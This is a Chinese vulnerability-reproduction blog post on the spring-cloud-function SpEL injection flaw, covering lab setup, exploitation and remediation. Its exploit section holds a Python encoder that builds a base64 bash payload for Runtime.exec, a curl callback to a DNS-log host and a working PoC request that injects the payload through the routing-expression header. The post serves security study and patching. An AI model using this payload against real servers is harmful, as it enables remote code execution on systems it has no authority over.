一、影响版本
3 <= spring-cloud-funcion版本 <= 3.22
二、环境搭建
搭建环境这里花了好多时间,最后用的官方的spring-cloud-funciont-samples中的function-samples-pojo就可以了
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip spring-cloud-function-3.1.6.zip
cd spring-cloud-function-3.1.6/spring-cloud-function-samples/function-sample-pojo
mvn package
启动环境
cd target
java -jar function-sample-pojo-2.0.0.RELEASE.jar
访问目标环境(http://localhost:8080)
三、漏洞复现
由于java的Runtime().getRuntime().exec()中符号会有问题,通过base64的方式进行rce
#命令转换
import base64
cmd = "curl xx.dnslog"
base64_cmd = 'T(java.lang.Runtime).getRuntime().exec("bash -c {echo,' + base64.b64encode(cmd.encode()).decode() + '}|{base64,-d}|{bash,-i}")'
print(base64_cmd)
最后poc数据包
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,x}|{base64,-d}|{bash,-i}")
Accept: */*
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
xxx=
查看dnslog
四、漏洞修复
官方并未给出新版本,目前修复可以参考官方github mian分支commit dc5128b
https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
可自行查看应用程序中spring-cloud-function的引用情况,并检查当前使用版本,可以用以下命令在应用程序项目目录中进行检测
grep -A 2 "spring-cloud-function-context" pom.xml
原文始发于微信公众号(we1x4n):spring-cloud-function SPEL注入漏洞复现(包含环境搭建)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论